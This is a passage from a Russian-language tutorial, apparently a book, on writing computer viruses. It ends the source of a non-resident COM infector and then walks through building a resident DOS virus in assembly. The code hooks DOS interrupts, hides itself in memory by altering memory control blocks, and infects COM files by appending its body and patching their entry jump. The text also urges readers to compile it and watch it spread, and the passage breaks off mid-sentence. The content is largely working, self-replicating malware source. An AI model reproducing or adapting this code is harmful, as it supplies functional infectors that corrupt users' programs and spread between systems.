pop ds ;Восстановим
;испорченный
DS push cs
;Занесем в стек
;регистр
CS
db 0b8h
;Код команды
jump:
dw 100h
;mov ax,100h
push ax
;Занесем в стек
;число
100h
retf
;Передача управ-
;ления
на задан-
;ный
адрес ...
;\*Data
area ...
old_bytes
db 0e9h
;Исходные три
;байта
заражен- dw vir_len + 0dh ;ной программы
old_dta db 128 dup (0)
;Здесь вирус
;хранит
исходную
;DTA
программы maska
db '*.com',0
;Маска для поис-
;ка
файлов ... fn
db 12 dup (' '),0 ;Сюда помещается
;имя
файла -жер-
;твы
... new_bytes db 0e9h
;Первые три бай-
db 00h
;та вируса в
db 00h
;файле ...
last
db 0
;Ячейка для пос-
;леднего
байта db '7'
;Последний байт
;вируса
в файле
vir_len equ $-vir
;Длина вирусного
;кода
...
prg_end: mov ah,4ch
;Завершение за-
INT
21H
;пускающей прог-
;раммы
...
db
'7'
;Без этого сим-
;вола
вирус за-
;разил
бы сам
;себя
...
prg
ends
;Все ASM - прог-
end
start
;раммы заканчи-
;ваются
примерно
;так
.
Если
вы когда нибудь читали [ 3 ], только что приведенная программа покажется
вам знакомой. Строго говоря, наш вирус написан " по мотивам " этой в общем
совсем неплохой книги. " Книжный " вирус существенно переработан,исправлены
замеченные ошибки и глюки.Несмотря на это поступок автора трудно назвать
плагиатом. Просто затронутая в работе П.Л. Хижняка тема получила новое
развитие.
1.19
Комментарии
Вирус,который
мы разработали, отыскивает программы для заражения лишь в том каталоге, из
которого был запущен зараженный файл .Понятно,что в этом случае большой
заразностью он не обладает.Но во - первых, мы идем от простого к сложному, и
следующие наши программы будут более эффективными .А во - вторых, эта разработка
лишь преследовала цель показать основные приемы изготовления вирусных
программ.Кроме того, чрезмерная сложность наверняка отпугнула бы читателя .
1.20
Испытание вируса
Для
проверки в действии разработанной нами программы просто скопируйте ее в
отдельный файл ( конечно, только если у вас есть дискета с текстом
книги ).Далее скопируйте в каталог с вирусом несколько COM -
файлов.Откомпилируйте исходный текст и запустите полученный COM -
файл,содержащий в себе вирусный код.Проблем с компиляцией быть не должно, так
как программа тщательно тестировалась . Понаблюдайте, как вирус заражает
файлы .Попробуйте запустить зараженную программу под управлением отладчика
и в автоматическом режиме.И, наконец, проверьте зараженную программу с
помощью DOCTOR WEB .
ГЛАВА
2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ
ПРОГРАММЫ
2.1
Понятие резидентного ( TSR ) вируса
Резидентными
называют вирусы, которые после запуска зараженной программы помещают свой
код в оперативную память . Этот код "занимается" заражением файлов и
находится в памяти в течение всего сеанса работы .
Резидентные
вирусы обычно намного заразнее нерезидентных и распространяются быстрее
.Однако создать такой вирус не так просто . Кроме того,резидентные вирусные
программы подвержены всевозможным сбоям и могут конфликтовать с установленным на
компьютере программным обеспечением . Но несмотря на все трудности,
возникающие при разработке резидентных вирусов, их было создано великое
множество .
В
предлагаемой вниманию читателей главе рассказывается о приемах создания TSR
- вирусов, поражающих COM - файлы .Кроме того, освещаются основные
проблемы, с которыми приходится встречаться при их разработке .
2.2
Несколько слов о резидентных программах
Вы,наверное,
знаете, как строятся резидентные программы .В этом пункте мы немного
поговорим об их организации и функционировании .
Резидентными
называют программы,которые после своего завершения остаются в памяти и
активизируются при наступлении каких - либо событий в вычислительной
системе .Такими событиями могут быть, например, нажатие " горячей "
комбинации клавиш, выполнение некоторых операций с дисками и т. п .Но в
любом случае программа получает управление при тех или иных условиях .
Все
резидентные программы строятся одинаково, или почти одинаково, и состоят из двух
секций - секции инициализации и собственно резидентной части.Резидентная
часть, как правило, состоит из одной или нескольких подпрограмм - обработчиков
прерываний и находится в памяти во время сеанса работы компьютера .Такие
подпрограммы могут полностью подменять собой системные обработчики или только
служить их дополнением.Естественно,для того,чтобы резидентная часть получила
управление, необходимо заменить соответствующие вектора в таблице векторов
прерываний на точки входа в заново установленные обработчики.Эту
функцию и выполняет секция инициализации, которая всегда выполняется при запуске
программы первой .
После
перехвата прерываний, которые должна обрабатывать резидентная часть, секция
инициализации завершает программу, используя для этой цели прерывание
или функцию резидентного завершения MS DOS . В результате резидентная часть
остается в памяти и активизируется в случаях, предусмотренных автором программы
. Часть инициализации в процессе работы больше не потребуется,поэтому оставлять
ее в памяти бессмысленно, и она " затирается " MS DOS в случае
необходимости .
2.3
Алгоритм работы резидентного
COM
- вируса
Рассмотрим
один из возможных алгоритмов работы резидентного COM - вируса .
По
своей сути резидентный вирус отличается от обычной резидентной программы
только тем, что он размножается сам по себе, независимо от желания
пользователя.Значит,построить его можно по той же схеме, по которой
пишутся обычные TSR - программы .Но сначала выясним,что должны делать секция
инициализации вируса и его резидентная часть .
Итак
:
Секция
инициализации выполняет следующие действия:
1.
Получает управление при запуске зараженной программы .
2.
Проверяет, установлена ли в память резидентная часть вируса .
3.
Восстанавливает в памяти компьютера исходные три байтa этой программы .
4.
Если резидентная часть не установлена,выполняются следующие действия :
a.)
Отыскивается свободный блок памяти достаточного для размещения вируса
размера .
б.)
Код вируса копируется в найденный блок памяти .
в.)
В таблице векторов прерываний соответствующие вектора заменяются точками
входа в вирусные обработчики .
г.)
Выполняется переход на начало зараженной
программы
( на адрес CS : 100h ).После этого программа выполняется, как обычно .
В
том случае, если резидентная часть вируса уже находится в памяти, он просто
передает управление зараженной программе .
Резидентная
часть выполняет следующие действия :
1.
Анализирует все вызовы системного прерывания INT 21h с целью выявить переход
оператора в новый каталог или смену текущего диска .
2.
Если обнаружится смена текущего диска или каталога, резидентная часть
должна :
а.)
Сохранить исходное состояние вычислительной системы .
б.)
Найти на диске подходящий COM - файл .
в.)
Записать тело вируса в конец этого файла .
г.)
Заменить первые три байта заражаемой программы командой перехода на
вирусный код, сохранив предварительно исходные три байта в своей области
данных.
д.)
Восстановить исходное состояние вычислительной системы и передать ей
управление .
Если
оператор не будет менять текущий католог или диск, вирус, очевидно, ничего
заразить не сможет .
Как
вы уже заметили, заражением файлов занимается исключительно резидентная часть !
Секция инициализации нужна только для инсталляции вируса в память
.Кроме того, в отличие от обычной резидентной программы, в вирусе эта секция
записывается в память вместе с резидентной частью . Иначе при записи
ее в заражаемый файл возникли бы серьезные трудности .
Из
рассказанного в этом пункте легко сделать вывод о том, насколько
резидентный вирус должен быть устроен сложнее обычного .Вместе с тем, в его
написании нет ничего магического, и вы без труда разберетесь в следующей
программе .
2.4
Заголовок вируса
Для
разработки вируса мы, как и раньше, будем использовать COM формат .
Естественно,в
резидентном вирусе будут использованы некоторые блоки, созданные нами в
предыдущей главе .Поэтому на их работе мы останавливаться не будем, а вместо
этого сделаем акцент на новых приемах, реализованных в программе .
Итак,
начнем :
prg
segment
assume
cs:prg,ds:prg,es:prg,ss:prg
org
100h
start:
jmp vir
;Передача управ-
;ления
вирусному ;коду ...
org
110h
Приведенные
команды и директивы выполняют те же самые функции, что и аналогичные,
использованные нами при создании нерезидентной вирусной программы .
2.5
Вирус начинает работу
Несколько
забегая вперед, отметим, что наш вирус будет работать так :
1.
Обработчик прерывания Int 21h отслеживает смену оператором текущего каталога или
диска. Если пользователь действительно сменил диск или каталог,то
переменная TG_INFECT устанавливается в единицу.
2.
Обработчик прерывания Int 28h вызывается DOS всякий раз, когда можно, не боясь
зависаний, обращаться к системным функциям, работающим с файлами. Поэтому
естественно возложить на него задачу поиска и заражения файлов.Исходя из этого
процедура обработки Int 28h проверяет значение TG_INFECT, и если оно равно
единице, выполняет поиск и заражение файлов.
--------------------------------------------------
После
перехода на метку " vir " начинается исполнение вирусной программы .Поэтому
продолжим :
(
Собственно это и есть начало обработчика прерывания Int 28h )
vir:
db 0ebh
;90h - Для рези-
db
push_len
;90h дентной
;
работы .
pushf
;Запишем флаги
;в
стек ...
cmp
cs:tg_infect-110h,1;Активизиро- ;ваться ?
je
cs:vir_2
;Да ...
call
dword ptr cs:old_28h - 110h
;Нет
- вызовем
;старый
обработ-
;чик
INT 28h,
;чтобы
не топить
;другие
TSR ... iret
vir_2:
popf
;Переключаем
;стек
для TSR -
;исполнения
на mov cs:ss_save-110h,ss ;себя ... mov cs:sp_save-110h,sp
mov
cs:help_word - 110h,cs
mov
ss,cs:help_word - 110h
mov
sp,to_newstack + 136
mov
cs:tg_infect - 110h,0
pushf
;Вызываем старый
db
9ah
;обработчик
old_28h
dw 0
;INT 28h ...
old_28h_2 dw 0
Обратите
внимание на команду,записанную в машинном коде сразу за меткой " vir " .Сейчас
мы попробуем разобраться, зачем она потребовалась .
Как
вы знаете, наш вирус должен быть резидентным и состоять из двух частей .При этом
секция инициализации исполняется только в транзитном ( нерезидентном )
режиме,а резидентная часть - только в резидентном.
Команда
db
0ebh
;90h - Для рези-
db
push_len
;90h дентной
;
работы .
играет
роль " переключателя " между транзитным и резидентным кодами .При заражении
вирус записывает в файл команду перехода, которая при запуске зараженного
файла передает управление на " push_len " байт вперед, где как раз и начинается
секция инициализации .Если же попытаться выполнить эту команду в
резидентном режиме, т. е. когда код вируса получил управление, находясь в
памяти,это приведет к зависанию компьютера .Чтобы такого не происходило,
секция инициализации при установке вирусного кода в память записывает сразу за
меткой " vir " две команды " NOP ", или код : 9090h .
Все
приведенные далее команды относятся к резидентной части .После записи
флагов в стек вирус проверяет состояние переменной " tg_infect ", и если
она равна " 1 ", переходит к метке " vir_2 " .Если же " tg_infect " равна " 0
",то вирус просто вызывает старый обработчик INT 28h и отдает управление
прерванному процессу.Чуть позже мы рассмотрим, как формируется значение
переменной " tg_infect " .
Поскольку
приводимый обработчик активно работает со стеком,есть смысл предусмотреть в нем
собственный стек . Поэтому сразу за меткой " vir_2 " запишем команды,
переключающие стек на специальную область данных вируса " newstack " :
;Переключаем
;стек для TSR - ;исполнения на
mov
cs:ss_save-110h,ss ;себя ...
mov
cs:sp_save-110h,sp
mov
cs:help_word - 110h,cs
mov
ss,cs:help_word - 110h
mov
sp,to_newstack + 136
mov
cs:tg_infect - 110h,0
Последней
запишем команду, сбрасывающую " tg_infect " в ноль .Этим мы защитим
вирусный код от повторного вхождения .
Теперь
необходимо вызвать старый обработчик INT 28h, иначе наш вирус будет " топить "
другие резидентные программы, которые перехватывают это же прерывание
.Поэтому запишем :
pushf
;Вызываем старый
db
9ah
;обработчик
old_28h
dw 0
;INT 28h ...
old_28h_2 dw 0
Обработчик
здесь вызывается как дальняя процедура. Команда " CALL " записана в виде машинного кода, а поля " old_28h " и "
old_28h_2 " заполняются секцией инициализации при установке вируса в
память.
*
Обратите
внимание на команды переключения стека . Они необычны тем,что от адреса ячеек
памяти " ss_ save "," sp_save ", " tg_infect " и " help_word " отнимается число
110h . Дело в том, что при компиляции исходного текста COM - программы
адреса ячеек памяти вычисляются исходя из того, что DS указывает на начало ее
PSP .Кроме того, в самом начале вируса мы записали директиву " org 110h ". Но
ведь к вышеуказанным ячейкам памяти вирус обращается в резидентном режиме,
да еще и относительно CS .А CS указывает строго на начало обработчика,
а не на начало PSP, как это было при компиляции ! Поэтому относительный
адрес ячеек необходимо уменьшить на 110h, что мы и сделали . Этот прием
будет использован еще несколько раз при построении вирусных обработчиков
прерываний,поэтому полезно будет понять, на чем он основан .
2.6
Сохраняем регистры процессора
В
самом начале работы резидентная программа обязана сохранить значения
регистров процессора, которые были переданы ей прерванной программой, а при
завершении работы - восстановить эти значения .Если этого не
сделать,прерванная программа просто не сможет нормально выполняться дальше,что
приведет к сбою вычислительного процесса . Поэтому сейчас мы сохраним все
регистры, используемые вирусом,в стеке :
pushf
;Сохраним в сте-
push
ax
;ке регистры ...
push
bx
push
cx
push
dx
push
si
push
di
push
bp
push
ds
push
es
jmp
cs:infect
;Перейти к зара-
;жению
файлов
Заметим,
что значения регистров записываются уже в область " newstack ", а не в стек
прерванной программы .Значения SS и SP сохраняются в переменных : " ss_save
" и " sp_save ", и поэтому в стек не заносятся .Команда " jmp cs:infect "
также относится к резидентной секции и передает управление "заразной" части
вирусного кода .
2.7
Создаем секцию инициализации
А
теперь пора заняться изготовлением секции инициализации нашей программы
.Поскольку эта секция исполняется при запуске зараженного файла, выполним
коррекцию регистра DS ( см. гл. 1, 1.6 ) :
push_len
equ $-vir - 2
mov
ax,ds
;Корректируем DS
;для
нерезидент- ;ной работы ...
db
05h
;Код команды
add_to_ds:
dw 0
;" ADD AX,00h "
mov
ds,ax
Константа
" push_len " содержит смещение от начала вируса до начала секции инициализации .
Именно это число записывается за меткой " vir " (см. п. 2.5). Далее следует
проверить наличие вируса в памяти (см. п. 2.3), поэтому :
mov
ax,0f000h
;Проверим, есть
mov
bx,1997h
;вирус в памяти,
int
2fh
;или еще нет ...
jc
fresh_bytes
cmp
al,0ffh
jne
free_mem
;Нет -
;устанавливаем
Для
проверки используется так называемое мультиплексное прерывание MS DOS,
специально предназначенное для использования в резидентных программах. В
регистрах AX и BX мы поместим код, на который реагирует вирусный обработчик
этого прерывания, и выполним команду " INT 2Fh " .Если вирус был установлен
в памяти,его обработчик проанализирует значения AX и BX .И если они равны "
0f000h " и " 19- 97h ", вернет в AL число 0ffh, которое и рассчитывает
получить секция инициализации .
Если
вирусный код уже инсталлирован, необходимо: восстановить в памяти компьютера
исходные три байта зараженной программы (см. п. 2.3) :
fresh_bytes:
;Восстанавливаем
mov al,old_bytes
;первые три бай-
;та
зараженной
mov cs:[100h],al ;программы
... mov
al,old_bytes+1
mov
cs:[101h],al
mov
al,old_bytes+2
mov
cs:[102h],al
Восстановить
значения сегментных регистров:
mov
ax,cs
;Восстанавливаем
;сегментные
mov
es,ax
;регистры ...
mov
start_cs,ax
mov
ds,ax
И
выполнить переход на начало этой программы :
jmp
cl_conv_1
;Передаем управ-
cl_conv_1:
db 0eah
;ление заражен-
dw
100h
;ной программе
start_cs dw 0
Здесь
команда " jmp cl_conv_1 " очищает очередь процессора ( см. гл. 1, п. 1.7 ) . Без
нее наш вирус на некоторых процессорах работал бы некорректно .
Если
же вируса в памяти еще нет, нужно установить его в память .Эту работу выполняют
команды, записанные за меткой " free_mem " .
2.8
Запрашиваем блок памяти
Как
вы уже знаете,резидентная программа должна находиться в памяти в течение
сеанса работы компьютера.Поэтому секция инициализации должна
"попросить" MS DOS выделить для загрузки резидентной части
соответствующий блок памяти .
Существует
целый ряд методов, позволяющих получить в распоряжение TSR - программы область
памяти достаточного размера .Например, в обычных резидентных программах эту
функцию выполняет MS DOS в процессе резидентного завершения .При этом область
памяти, выделенная TSR - программе при ее запуске, просто усекается до размера резидентной
части и остается занятой после
завершения программы .Таким образом, резидентная часть размещается в том месте, куда некогда была загружена вся
программа.
К
сожалению, использование такого метода в вирусе порождает целый ряд проблем .
Например в этом случае необходимо записывать вирусный код в начало, а не в
конец файла - жертвы, иначе при запуске зараженной программы она будет "
садиться " в память целиком .Есть и другие трудности, преодолеть которые
очень непросто.Не случайно такой прием при написании вирусов применяется редко
.
Другой
способ состоит в использовании для поиска подходящего блока памяти так
называемых MCB - блоков ( потом мы поговорим о них подробнее ) . При этом
вирус должен путем сканирования цепочки блоков управления памятью ( Memory
Control Blocks ) найти свободный блок подходящего размера, разделить его на
две части, одна из которых точно соответствует или несколько превышает
длину вируса, и записать во вновь созданный блок свой код.Основной недостаток
данного метода состоит в том что MCB - блоки являются недокументированной
структурой MS DOS, и при их использовании нужно быть готовым к тому,что
программа будет работать на одной машине и не будет работать на другой. Это
также относится к разным версиям операционной системы .Кроме того, очень сложно
построить эффективный алгоритм реализации этого метода . Ведь вирусный код
должен записываться не просто в подходящий по размерам блок, а в старшие
адреса оперативной памяти, иначе загрузка больших программ будет просто
невозможна .
Третий
способ заключается в том, что код вируса копируется в заданную область памяти
без коррекции MCB - блоков. Недостаток его состоит в следующем: "время жизни"
вируса,реализующего такой алгоритм, чрезвычайно мало и зависит от интенсивности
использования оперативной памяти . Причем "гибель" вирусной программы с
почти стопроцентной вероятностью приводит к повисанию компьютера. Хотя
метод отличается простотой реализации и имеет ряд других достоинств, приведенный
выше недостаток делает его практическое использование маловозможным .
Четвертый
способ состоит в использовании функций, реализующих управление памятью.Используя
его,можно построить эффективный и корректно работающий программный код, который будет хорошо работать на разных машинах и с любыми версиями операционной системы .При этом его
реализация весьма проста и понятна . Поэтому мы применим именно
этот способ :
free_mem: mov ah,4ah
;Определим объем
;доступной
памя- ;ти ...
mov
bx,0ffffh
;Заведомо невоз-
int
21h
;можное значение
;(0ffffh)
! ;Ошибка будет ;обязательно, и ;проверять ее ;наличие ;не нужно !
;
_______________________________________________ ;| Закажем свободный блок
памяти,чтобы можно было| ;| записать в него резидентную часть вируса ... |
;|_______________________________________________|
sub
bx,vir_par + 2
;Оставим вирусу
;на
2 параграфа ;больше, чем ;он сам занимает
mov
ah,4ah
;А остальная па-
int
21h
;мять будет
jc
fresh_bytes
;занята ...
mov
ah,48h
;Попросим DOS
;отдать
свобод- ;ный блок нам .
mov
bx,vir_par + 1
;Запас в один
int
21h
;параграф ...
jc
fresh_bytes
;Ошибка !
В
приведенном фрагменте использованы функции :
4Ah
- изменение размера блока памяти, а также
48h
- выделение блока памяти .
Об
их использовании вы можете прочесть в ПРИЛОЖЕНИИ 1.
Работа
вышеприведенных команд весьма проста и особых пояснений не требует .Стоит
лишь заметить, что для загрузки вирусного кода выделяется область в в самом "
верху " свободной оперативной памяти,что является почти обязательным для
подавляющего большинства вирусных программ .
2.9
Делаем вирус " незаметным "
К
сожалению,выбранный нами способ поиска свободного блока памяти имеет один
скрытый недостаток .Как вы, наверное, знаете, при завершении программы DOS
освобождает блок памяти, который эта программа занимает .Кроме того,
освобождаются также все блоки, которые были распределены программе по ее
запросам .
Предположим,
вирус стартовал из зараженной программы, с помощью описанных ранее функций
MS DOS нашел подходящий блок памяти и записал в него свой код,
предварительно переписав на этот код те или иные прерывания .После этого он
передает управление зараженной программе . Естественно, она
когданибудь завершится и передаст управление DOS . Но ведь в этом случае
блок, который занимает вирусный код, будет освобожден, и при первой
необходимости этот код будет уничтожен,чтобы записать на его место другую
информацию !В результате произойдет моментальное " повисание " компьютера
.
Очевидно,
этого можно избежать, если память, зани-
маемая
вирусом, будет оставаться занятой в течение
всего
сеанса работы,и не будет освобождаться после
завершения
зараженной программы .
Как
показал эксперимент, для этой цели достаточно в MCB,предшествующем выделенному
для вирусного кода блоку, сделать определенные изменения.Но сначала мы
немного расскажем о структуре Memory Control Blocks ( MCB ) и их использовании
.
Для
того, чтобы следить за использованием памяти, в MS DOS предусмотрена специальная
структура - так называемый блок управления памятью,или MCB - блок. Такой блок
помещается DOS непосредственно перед каждым вновь выделяемым блоком памяти, и
система ведет специальный список MCB - блоков,просматривая его при выполнении
тех или иных действий, связанных с распределением памяти.
MCB
обязательно начинается на границе параграфа и всегда занимает целый
параграф.Конечно,MS DOS должна знать о том, где именно расположен первый
блок управления памятью.На этот блок указывает внутренняя переменная DOS,
значение и местоположение которой известно только операционной системе
.
Рассмотрим
теперь структуру MCB - блока .Итак :
Байт
0 -
содержит код 5Ah,если данный блок яв-
ляется
последним в цепочке MCB, и код 4Dh - в противном случае .
Байты
1, 2 - Содержат PID (Program IDentificator) программы, для которой DOS выделяла
блок, или ноль, если блок свободен .
Байты
3, 4 - Содержат размер блока в параграфах . Следующий блок расположен в памяти
по адресу : MCB_NEW = MCB_OLD + lenght + + 1.Здесь MCB_NEW - сегментный адрес,
по которому располагается следующий MCB, MCB_OLD - сегментный адрес
рассматриваемого MCB,а lenght - содержимое байтов 3, 4 этого блока
.
Остальные
одиннадцать байт блока не используются и могут содержать любые данные. Но стоит
заметить, что повреждение байтов 1, 3 или 4 приводит к выдаче сообщения
:
Memory
Allocation Error
System
Halted
и
немедленному " зависанию " компьютера .
А
теперь вернемся к нашей программе .
Как
показал эксперимент, достаточно подменить в MCB, предшествующем вирусному коду,
байты 1 и 2 . Причем лучше всего записать вместо этих байт PID какой - нибудь из
уже загруженных в память программ.Этим достигается еще и незаметность
вируса в памяти.Советую вам попробовать загрузить несколько TSR - программ и в
MCB одной из них подменить байты 1 и 2 на PID какой - нибудь другой
программы . После этого нажмите в Volkov Commander клавиши ALT и F5, и вы
увидите очень интересный эффект .
Но
дело в том, что для использования вышеприведенного метода необходимо еще
найти программу, на PID которой наш вирус будет " паразитировать ".Сделать это
не так просто, как может показаться на первый взгляд .И поэтому для облегчения
нашей работы вместо PID загруженной в память программы мы запишем в MCB
вируса сегментный адрес области данных DOS,
а
именно : 0070h :
;
_______________________________________________ ;| Теперь свободный блок памяти
найден
| ;| ( сегментный адрес в AX ), и
| ;| нужно записать в него код вируса ...
| ;|_______________________________________________|
xor di,di
;Делаем вирус
mov bx,ax
;"невидимым" в
dec bx
;памяти ...
mov word ptr cs:[2],bx
mov es,bx
mov bx,0070h
mov es:[di+1],bx
Предыдущий
фрагмент вернул нам сегментный адрес выделенного для вируса блока памяти в
регистре AX. Приведенные программные строки очень просты, и объяснять их работу
не нужно. Следует только сказать, что вирус фактически отнимает у DOS
несколько килобайтов памяти, поэтому необходимо скорректировать PSP
программы - носителя вируса.А именноуменьшить верхнюю границу блока
памяти,выделенного программе,на длину вирусного кода.Интересующая нас величина
находится по смещению 02h от начала PSP.
2.10
Получаем вектора прерываний
Итак,
мы нашли блок памяти, в который часть инициализации будет копировать
вирусный код.Но прежде чем инсталлировать вирус в память, необходимо узнать
адреса системных обработчиков прерываний.Ведь вирус будет вызывать эти
обработчики перед ( или после ) выполнением собственных действий по
обработке того или иного прерывания .Если исходные обработчики не
будут получать управление, вычислительная система придет в аварийное
состояние .
Поэтому
:
;_________________________________________________
mov
es,di
;Получаем векто-
;ра
прерываний cli
mov
di,084h
;Int 21h ...
mov
bx,es:[di]
mov
old_21h,bx
mov
bx,es:[di+2]
mov
old_21h_2,bx
mov
di,0bch
;Int 2fh ...
mov
bx,es:[di]
mov
old_2fh,bx
mov
bx,es:[di+2]
mov
old_2fh_2,bx
mov
di,04ch
;Int 13h ...
mov
bx,es:[di]
mov
old_13h,bx
mov
bx,es:[di+2]
mov
old_13h_2,bx
mov
di,0a0h
;Int 28h ...
mov
bx,es:[di]
mov
old_28h,bx
mov
bx,es:[di+2]
mov
old_28h_2,bx
sti
Как
видим, для определения адресов обработчиков вирус обращается непосредственно к
таблице векторов прерываний.Секция инициализации будет перехватывать
прерывания: Int 21h, Int 13h, Int 28h и Int 2fh.Несколько позже мы разберемся,
почему потребовалось перехватить именно их и приведем тексты вирусных
обработчиков этих прерываний.
2.11
Копируем вирусный код в память
Теперь
настало время переписать в память код вируса и подготовить его к работе в
резидентном режиме :
mov
word ptr vir,9090h ;Подготавливаем mov tg_infect,0
;вирус к рези-
;дентной
работе
mov
es,ax
;И копируем его
xor
di,di
;в память...
mov
cx,vir_len
prg_copy: mov bl,byte ptr vir[di]
mov
byte ptr es:[di],bl
inc
di
loop
prg_copy
В
самом начале нужно сбросить в ноль переменную " tg_infect ", чтобы вирус не
занимался заражением файлов, пока его об этом не попросят .Далее,в первые
два байта кода вируса, который мы собираемся записывать в память, следует
записать две команды NOP, или код 9090h ( см п. 2.2 ) .
Теперь
тело вируса просто копируется в блок памяти, сегментный адрес которого
задан в регистре AX.
2.12
Устанавливаем вектора прерываний на вирусные обработчики
Все
подготовительные действия выполнены, и нам только осталось заменить адреса
системных обработчиков прерываний Int 21h, Int 13h, Int 28h и Int 2fh на
адреса вирусных обработчиков,после чего необходимо передать управление
зараженной программе .Это мы сейчас и сделаем :
xor
bx,bx
;Устанавливаем
;вектора
преры-
mov es,bx
;ваний
на вирус-
cli
;ные обработчики
mov
di,084h
mov
word ptr es:[di],to_new_21h
mov
es:[di+2],ax
; Int 21h
mov
di,0bch
mov
word ptr es:[di],to_new_2fh
mov
es:[di+2],ax
; Int 2fh
mov
di,04ch
mov
word ptr es:[di],to_new_13h
mov
es:[di+2],ax
; Int 13h
mov
di,0a0h
mov
word ptr es:[di],0
mov
es:[di+2],ax
; Int 28h
sti
jmp
fresh_bytes
;Установка
;завершена
...
Модификация
векторов прерываний в особых комментариях не нуждается . А команда " jmp
fresh_bytes " передает управление на программный код,выполняющий восстановление
исходных трех байт программы - жертвы .
Таким
образом, мы разработали секцию инициализации нашего вируса . И поэтому настало
время перейти к созданию резидентной секции .Все оставшиеся пункты этой главы
будут посвящены именно разработке резидентной части .
2.13
Пишем резидентную часть
Начало
резидентной части мы создали в первых пунктах главы ( см п. 2.5 ).А теперь
просто продолжим, и допишем до конца "заразную" часть вирусной программы
:
infect:
push cs
;DS = CS ...
pop
ds
mov
ax,ds
;TSR - коррекция
sub
ax,11h
;DS ...
mov
ds,ax
cmp
tg_13h,0
;INT 13h
;выполняется
? je cs:all_right ;Нет
... jmp cs:exit_zarasa
;Да - на выход
Сразу
за меткой " infect " мы записали команды которые корректируют содержимое DS
при работе в резидентном режиме .Если этого не сделать, то
относительный адрес каждой ячейки памяти придется уменьшать на 110h (
см п. 2.5 ).Далее вирус проверяет значение переменной "tg_13h" .Дело в том,что
резидентный вирус обязательно должен заражать файлы, находясь в памяти, и
поэтому без обращения к диску в резидентном режиме нам не обойтись.Такое
обращение, естественно, должно происходить только в те моменты,когда
никакие другие программы не работают с диском .Если это условие не соблюдается,
непременно возникнет программный конфликт, что приведет к неприятным
последствиям .Особенно это относится к тем случаям,когда на машине установлен
какой-нибудь кэш ( например, SMARTDRIVE или HYPERDISK ) . В этом случае
может случиться так, что вирус и кэш попробуют обратиться к диску одновременно,
а это недопустимо !
Решить
проблему помогает введение переменной "tg_ 13h" .Она принимает значение " 1 ",
когда к диску выполняется
обращение, или значение " 0 ", если
в данный момент обращения к диску нет.Для инициализации переменной
используется специальный "фильтр" прерывания Int 13h, который будет описан ниже
. Итак, если " tg_13h " равна " 1 ",вирус возвращает управление прерванной
программе,в противном случае работа вирусного кода продолжается .
2.14
Заражаем COM - файл
В
случае, если прерывание Int 13h не выполняется, можно заняться поиском
подходящего COM - файла и его заражением.Этот процесс практически не
отличается от действий нерезидентного вируса, и поэтому мы просто
используем разработанный ранее блок, не останавливаясь подробно на его работе
:
all_right:
mov ah,2fh
;Получим текущую
int
21h
;DTA ( ES : BX )
mov
bp,bx
mov cx,80h
;Сохраним эту
lea si,dta_save ;DTA ...
mov
di,bp
save_dta:
mov al,byte
ptr es:[di]
mov
[si],al
inc si
inc
di
loop
cs:save_dta
find_first:
;Найдем первый
mov ah,4eh
;файл ...
mov cx,00100111b
lea
dx,maska
int 21h
jnc
cs:retry_2
jmp restore_dta
find_next:
mov ah,3eh
;Закроем непод-
int 21h ;ходящий файл
jnc
cs:retry_1
jmp
cs:restore_dta
retry_1: mov ah,4fh
;Найдем следую-
int 21h ;щий ...
jnc
cs:retry_2
jmp
cs:restore_dta
retry_2: mov cx,12
;Сотрем старое
lea si,fn
;имя в буфере
destroy_name:
mov byte
ptr [si],0
inc si
loop
cs:destroy_name
xor
si,si
;И запишем туда
mov
di,bp
;новое ...
copy_name:
mov al,byte ptr es:[di+1eh]
cmp
al,0
je
cs:check_command
mov byte
ptr fn[si],al
inc si
inc
di
jmp
cs:copy_name
check_command:
;Проверим,
не ;является - ли
call
cs:search
;файл командным
cmp
inside,1
;процессором...
je
cs:retry_1
mov
ax,3d02h
;Откроем этот
lea dx,fn
;файл ...
int 21h
jnc
cs:save_bytes
jmp
cs:restore_dta
save_bytes:
;Считаем первые
mov bx,ax
;три байта
mov ah,3fh
mov cx,3
lea
dx,old_bytes
int 21h
jnc
cs:found_size
jmp cs:close
found_size:mov
di,bp
cmp
word ptr es:[di+01ch],0
jne
cs:more_64K
;Найдем его раз-
mov ax,es:[di+01ah]
;мер ...
count_size:mov
si,ax
;Вычислим
;смещения
... cmp ax,64000
jna
cs:smallest
more_64K: jmp cs:find_next
smallest: test ax,000fh
jz
cs:krat_16
or
ax,000fh
inc ax
krat_16: mov di,ax
sub ax,3
mov byte ptr
new_bytes[1],al
mov byte ptr
new_bytes[2],ah
mov ax,di
mov cl,4
shr ax,cl
dec ax
mov byte ptr add_to_ds,al
mov byte ptr
add_to_ds+1,ah
mov ax,4200h
;Считаем послед-
xor cx,cx
;ний байт ...
dec si
mov dx,si
int 21h
jnc
cs:read_last
jmp cs:close
read_last:
mov
ah,3fh
mov
cx,1
lea
dx,last
int 21h
jc
cs:close
cmp last,'1'
;Индикатор зара-
jne cs:write_vir ;жения ...
jmp
cs:find_next
write_vir:
mov ax,4200h
;Запишем начало
xor cx,cx
;вируса ...
mov
dx,di
int 21h
jc
cs:close
mov
ah,40h
mov
cx,2
lea
dx,end_file
int
21h
jc
cs:close
;И
остальную
mov
ah,40h
;часть ...
mov
cx,vir_len - 2
lea
dx,vir + 2
int
21h
jc
cs:close
write_bytes:
;Запишем первые
mov
ax,4200h
;три байта
xor
cx,cx
xor
dx,dx
int 21h
jc
cs:close
mov
ah,40h
mov
cx,3
lea
dx,new_bytes
int
21h
close:
mov ah,3eh
;Закроем зара-
int
21h
;женный файл
restore_dta:
mov
cx,80h
;Восстановим DTA
lea
si,dta_save
mov
di,bp
dta_fresh:
mov
al,[si]
mov byte
ptr es:[di],al
inc si
inc
di
loop
cs:dta_fresh
Как
видите, в созданный ранее фрагмент были внесе-
ны
некоторые изменения, в которых мы сейчас и раз-
беремся
.
Поскольку
вирус будет заражать файлы в резидентном
режиме,он
будет пользоваться DTA активной в данный
момент
программы,что приведет к ее разрушению.Чтобы этого не происходило, нужно
сохранить ее в области данных вируса, а после завершения работы вируса
- восстановить.Получить адрес текущей DTA можно с помощью функции DOS 2Fh,
которая и используется вирусом .
Следующее
отличие - наш вирус проверяет,является - ли найденный файл командным процессором
COMMAND. COM .Для этого используется процедура SEARCH,которая возвращает
INSIDE = 1, если найден командный процессор, или INSIDE = 0 - в противном случае
.
Так
как иногда COM-файлы на самом деле имеют EXE - формат, их размер может превышать
64 Кбайта,и следует проверить, не является - ли найденный нами файл именно
таким, иначе при заражении он будет безнадежно испорчен .С этой целью вирус
